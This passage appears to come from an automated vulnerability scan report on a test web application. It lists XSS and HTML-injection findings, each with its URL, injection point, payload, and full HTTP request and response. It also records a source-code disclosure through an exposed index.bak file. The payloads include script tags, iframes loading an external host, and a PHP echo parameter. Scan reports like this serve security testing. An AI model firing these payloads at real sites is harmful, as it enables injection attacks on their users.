Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/comment.php?aid=3
Host: testphp.vulnweb.com
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

name=%3c%2ftitle%3e%3cscript%3exss(0xDEADC0DE)%3c%2fscript%3e&comment=&Submit=Submit&phpaction=echo%20%24_PO
ST%5bcomment%5d%3b
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:19 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
D HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>
</title><script>xss(0xDEADC0DE)</script> commented</title>
<meta http-equiv="Content-Type" content="tex
...
lesheet" type="text/css">
</head>
<body>
<p class='story'></tit
<script>xss(0xDEADC0DE)</script>, thank you for your comment.</p><p class='story'><i></p></i></body>
</html>
```

**Url:** http://testphp.vulnweb.com/comment.php



**Injection Point:** name

**Type:** Post

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
POST /comment.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/comment.php?aid=3
Host: testphp.vulnweb.com
Content-Length: 112
Content-Type: application/x-www-form-urlencoded

name=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&comment=&Submit=Submit&phpaction=echo%20%24_POST%5bcomment%5d%3b
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:19 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

...
/W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>
<scRipt>xss(0xDEADC0DE)</scRipt> commented</title>
<meta http-equiv="Content-Type" content="te
...
"stylesheet" type="text/css">
</head>
<body>
<p class='story'>
<scRipt>xss(0xDEADC0DE)</scRipt>, thank you for your comment.</p><p class='story'><i></p></i></body>
</html>
```

**Url:** http://testphp.vulnweb.com/secured/newuser.php



**Injection Point:** uuname

**Type:** Post

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
POST /secured/newuser.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/signup.php
Host: testphp.vulnweb.com
Content-Length: 117
Content-Type: application/x-www-form-urlencoded

uuname=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&sign
up=signup
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:10 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

nt">

<p>You have been introduced to our database with the above informations:</p><ul><li>Username: <scRipt>xss(0xDEADC0DE)</scRipt></li><li>Password: </li><li>Name: </li><li>Address: </li><li>E-Mail: </li><li>Phone number: </li><li>

...



**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12



**Injection Point:** p

**Type:** QueryString

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
GET /hpp/params.php?p=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&pp=12 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:48 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
<scRipt>xss(0xDEADC0DE)</scRipt>12
```

**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12



**Injection Point:** pp

**Type:** QueryString

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
GET /hpp/params.php?p=valid&pp=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:49 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

valid<scRipt>xss(0xDEADC0DE)</scRipt>
```

**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&aaaa%2f=



**Injection Point:** pp

**Type:** QueryString

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
GET /hpp/params.php?p=valid&pp=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&aaaa%2f= HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:59 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

valid<scRipt>xss(0xDEADC0DE)</scRipt>
```

**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&aaaa%2f=



**Injection Point:** p

**Type:** QueryString

**Payload:** <scRipt>xss(0xDEADC0DE)</scRipt>

## Request

```
GET /hpp/params.php?p=%3cscRipt%3exss(0xDEADC0DE)%3c%2fscRipt%3e&pp=12&aaaa%2f= HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:13:03 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
<scRipt>xss(0xDEADC0DE)</scRipt>12
```

# HTML Injection

**Url:** http://testphp.vulnweb.com/search.php?test=query



**Injection Point:** searchFor

**Type:** Post

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
POST /search.php?test=query HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Content-Length: 73
Content-Type: application/x-www-form-urlencoded

searchFor=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&goButton=go
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:12 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
    <h2 id='pageName'>searched for: <iframe src=//inject.me></iframe></h2></div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
    <div id="search">
...

```

**Url:** http://testphp.vulnweb.com/guestbook.php



**Injection Point:** name

**Type:** Post

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
POST /guestbook.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/guestbook.php
Host: testphp.vulnweb.com
Content-Length: 83
Content-Type: application/x-www-form-urlencoded

name=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&text=&submit=add%20message
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:27 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
estbook</h2></td></tr><tr><td align="left" valign="middle" style="background-color:#F5F5F5"><strong><iframe
src=//inject.me></iframe></strong></td><td align="right" style="background-color:#F5F5F5">01.20.1970, 8:09
am</td></tr><tr><t
...
```

**Url:** http://testphp.vulnweb.com/guestbook.php



**Injection Point:** text

**Type:** Post

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
POST /guestbook.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/guestbook.php
Host: testphp.vulnweb.com
Content-Length: 99
Content-Type: application/x-www-form-urlencoded
```

```
name=anonymous%20user&text=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&submit=add%20message
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:30 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
#F5F5F5">01.20.1970, 8:09 am</td></tr><tr><td colspan="2">&nbsp;&nbsp;&nbsp;<iframe
src=//inject.me></iframe></td></tr></table>      </div>
<div class="story">
    <form action="" method="post" name="faddentry"
```

```
...
```

**Url:** http://testphp.vulnweb.com/hpp/?pp=12



**Injection Point:** pp

**Type:** QueryString

**Payload:** "><iframe src=//inject.me></iframe>

## Request

```
GET /hpp/?pp=%22%3e%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:46 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
3E%3Ciframe+src%3D%2F%2Finject.me%3E%3C%2Fiframe%3E">link1</a><br/><a href="params.php?p=valid&pp="><iframe
src=//inject.me></iframe>">link2</a><br/><form action="params.php?p=valid&pp="><iframe src=//inject.me></if
rame>"><input type=submit name=aaaa></form><br/>
<hr>
<a href='http://blog.mindedsecurity.com/2009/05/c1
...

```



**Url:** http://testphp.vulnweb.com/hpp/?pp=12



**Injection Point:** pp

**Type:** QueryString

**Payload:** "><iframe src=//inject.me></iframe>

## Request

```
GET /hpp/?pp=%22%3e%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:46 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
3E%3Ciframe+src%3D%2F%2Finject.me%3E%3C%2Fiframe%3E">link1</a><br/><a href="params.php?p=valid&pp="><iframe
src=//inject.me></iframe>">link2</a><br/><form action="params.php?p=valid&pp="><iframe src=//inject.me></if
rame>"><input type=submit name=aaaa></form><br/>
<hr>
<a href='http://blog.mindedsecurity.com/2009/05/c1
```

...

**Url:** http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg



**Injection Point:** file

**Type:** QueryString

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
GET /showimage.php?file=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:56 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg
```

Warning: fopen(): Unable to access <iframe src=//inject.me></iframe> in /hj/var/www/showimage.php on line 7

Warning: fopen(<iframe src=//inject.me></iframe>): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7

Warning:

...

**Url:** http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg&size=160



**Injection Point:** file

**Type:** QueryString

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
GET /showimage.php?file=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&size=160 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:05 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg

Warning: fopen(): Unable to access <iframe src=//inject.me></iframe>.tn in /hj/var/www/showimage.php on line 19

Warning: fopen(<iframe src=//inject.me></iframe>.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19
```

Warn

...

**Url:** http://testphp.vulnweb.com/comment.php



**Injection Point:** name

**Type:** Post

**Payload:** </title><iframe src=//inject.me></iframe>

## Request

```
POST /comment.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/comment.php?aid=3
Host: testphp.vulnweb.com
Content-Length: 135
Content-Type: application/x-www-form-urlencoded

name=%3c%2ftitle%3e%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&comment=&Submit=Submit&phpaction=echo%20%24_POST%5bcomment%5d%3b
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:18 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
D HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>
</title><iframe src=//inject.me></iframe> commented</title>
<meta http-equiv="Content-Type" content="tex
...
lesheet" type="text/css">
</head>
<body>
<p class='story'></tit
<iframe src=//inject.me></iframe>, thank you for your comment.</p><p class='story'><i></p></i></body>
</html>
```

**Url:** http://testphp.vulnweb.com/comment.php



**Injection Point:** name

**Type:** Post

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
POST /comment.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/comment.php?aid=3
Host: testphp.vulnweb.com
Content-Length: 121
Content-Type: application/x-www-form-urlencoded

name=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&comment=&Submit=Submit&phpaction=echo%20%24_POST%5bcomment%5d%3b
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:18 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

...
/W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>
<iframe src=//inject.me></iframe> commented</title>
<meta http-equiv="Content-Type" content="te
...
"stylesheet" type="text/css">
</head>
<body>
<p class='story'>
<iframe src=//inject.me></iframe>, thank you for your comment.</p><p class='story'><i></p></i></body>
</html>
```

**Url:** http://testphp.vulnweb.com/secured/newuser.php



**Injection Point:** uuname

**Type:** Post

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
POST /secured/newuser.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/signup.php
Host: testphp.vulnweb.com
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

uuname=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&upass=&upass2=&urname=&ucc=&uemail=&uphone=&uaddress=&signup=signup
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:10 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

nt">

<p>You have been introduced to our database with the above informations:</p><ul><li>Username: <iframe src=//inject.me></iframe></li><li>Password: </li><li>Name: </li><li>Address: </li><li>E-Mail: </li><li>Phone number: </li><li>

...

**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12



**Injection Point:** p

**Type:** QueryString

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
GET /hpp/params.php?p=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&pp=12 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:48 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
<iframe src=//inject.me></iframe>12
```

**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12



**Injection Point:** pp

**Type:** QueryString

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
GET /hpp/params.php?p=valid&pp=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:49 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

valid<iframe src=//inject.me></iframe>
```



**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&aaaa%2f=



**Injection Point:** pp

**Type:** QueryString

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
GET /hpp/params.php?p=valid&pp=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&aaaa%2f= HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:59 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html

valid<iframe src=//inject.me></iframe>
```

**Url:** http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&aaaa%2f=



**Injection Point:** p

**Type:** QueryString

**Payload:** <iframe src=//inject.me></iframe>

## Request

```
GET /hpp/params.php?p=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e&pp=12&aaaa%2f= HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/hpp/?pp=12
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:13:03 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
<iframe src=//inject.me></iframe>12
```

# Source Code Disclosure

OWASP 2013-A5, CWE 538

Url: <http://testphp.vulnweb.com/index.bak>



## Request

```
GET /index.bak HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:24 GMT
Server: nginx/1.4.1
ETag: "4dca64a4-cc1"
Accept-Ranges: bytes
Content-Length: 3265
Content-Type: text/plain
Last-Modified: Wed, 11 May 2011 10:27:48 GMT

<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLOutsideIsLocked="false"
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- I
...
="categories.php">Browse categories</a></li>
    <li><a href="artists.php">Browse artists</a></li>
    <li><a href="cart.php">Your cart</a></li>
    <li><a href="login.php">Signup</a></li>
        <li><a href="userinfo.php">Your profile</a></li>
